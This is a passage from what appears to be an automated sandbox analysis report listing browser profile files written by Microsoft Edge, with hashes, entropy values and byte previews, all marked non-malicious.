File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6975083372685086
Encrypted:	false
SSDEEP:	24:LLiZxh0GY/l1rWR1PmCx9fZjsBX+T6UwcE85fBmI:EBmw6fU1zBmI
MD5:	F5BBD8449A9C3AB28AC2DE45E9059B01
SHA1:	C569D730853C33234AF2402E69C19E0C057EC165
SHA-256:	825FF36C4431084C76F3D22CE0C75FA321EA680D1F8548706B43E60FCF5B566E
SHA-512:	96ACDED5A51236630A64FAE91B8FA9FAB43E22E0C1BCB80C2DD8D4829E03FBFA75AA6438053599A42EC4BBCF805BF0B1E6DFF9069B2BA182AD0BB30F2542FD3F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl0al:Ls3
MD5:	182940AFB90632B739E5BF2BF1EDC34F
SHA1:	781ECD18CCD3B210FB9F6ACA09FD0787A123839A
SHA-256:	957F54B44CD5841D91DFBA2FE07AAB0800DFF9116F7FDF201E9DB3052F63AE14
SHA-512:	266F958C416CBE302E862DB26736CE138AA6AB0994711629B2186F6160392A3C74CB668AE48AFDCFF16B42FEDBC6ED3CC37205B9168A24F70A63B98501749D5E
Malicious:	false
Preview:	........................................y.z_../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.33890226319329847
Encrypted:	false
SSDEEP:	12:TLMfly7aoxrRGcAkSQdC6ae1//fxEjkE/RFL2iFV1eHFxOUwa5qgufTsZ75fOSI:TLYcjr0+Pdajk+FZH1W6UwccI5fBI
MD5:	971F4C153D386AC7ED39363C31E854FC
SHA1:	339841CA0088C9EABDE4AACC8567D2289CCB9544
SHA-256:	B6468DA6EC0EAE580B251692CFE24620D39412954421BBFDECB13EF21BE7BC88
SHA-512:	1A4DD0C2BE163AAB3B81D63DEB4A7DB6421612A6CF1A5685951F86B7D5A40B67FC6585B7E52AA0CC20FF47349F15DFF0C9038086E3A7C78AE0FFBEE6D8AA7F7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	379
Entropy (8bit):	5.246975642697909
Encrypted:	false
SSDEEP:	6:7Ch1923oH+TcwtRage8Y55HEZzXELIx2KLldWv4q2P923oH+TcwtRage8Y55HEZJ:7TYebRrcHEZrEkVLjWAv4YebRrcHEZr1
MD5:	F3B1E394B982FECF1C663F151303F2CB
SHA1:	147C18473A83F2DCF9C0CF60E9D950FF88FAC85C
SHA-256:	28D7FDD813B2FAE2366BC86FADD24F5C6BFAB3E265516DBA9606893B4327285A
SHA-512:	AE808618589DAE01E993C1345B2E501F68C82CD134C40B9777290DC751B0F455C63B97595457600D53FF931663840ACEBBBB74940FDA4B1B535F2DCA95F924B8
Malicious:	false
Preview:	2024/08/31-19:30:15.061 1980 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold since it was missing..2024/08/31-19:30:15.074 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.165787821640529
Encrypted:	false
SSDEEP:	6:7bKRM1923oH+TcwtRa2jM8B2KLld9Liq2P923oH+TcwtRa2jMGIFUv:7WRhYebRjFLj9uv4YebREFUv
MD5:	1A616653FFFC7265D4FF6F94F898C2E0
SHA1:	03EA0605E74CF79508BF47757F74A954FEC27B10
SHA-256:	250AC045796703DD3399A637D5A8E9974ED2A284D2E884392C92CB3545085732
SHA-512:	AA0FF80C6ED2131C1298EC760856F9601AB75D000D05A82AAEF296C9CBBBBAC7CC74DDA9B15FB5F771F9848C017F6DDC1C3AB80983132C723F20581769D0BD62
Malicious:	false
Preview:	2024/08/31-19:30:13.800 1a04 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb since it was missing..2024/08/31-19:30:13.835 1a04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\93c06d2e-1542-4eaa-85b5-a352de53245f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\9452cfc6-52a0-495f-aab4-e5d9e01ce430.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.7604434038530811
Encrypted:	false
SSDEEP:	48:TKIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBkTh:eIEumQv8m1ccnvS6E
MD5:	C558F89E47077B95E6AC46C18D7EEC8B
SHA1:	52E884A8B6CFDA2D90E283D9B59CD082E2EEF88A
SHA-256:	CEC279E5E2A1BA6E7F6AF6D5EAAD65770A5AAD70607708FB9900EE994C8096B5
SHA-512:	494FA4A58B6146F912BF3EB41A6ACECF059A7914E7AD5C05BC163D5C84CB9FC8A058373463D61A269418C5EC98E523C2361288D3A4B8B8D190926264279A1AF4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\SCT Auditing Pending Reports~RF448dc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\e01edf9b-c830-4476-b6f2-c879c2bb9e1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\fb97a730-ef53-40ff-8d92-2128bd39897b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
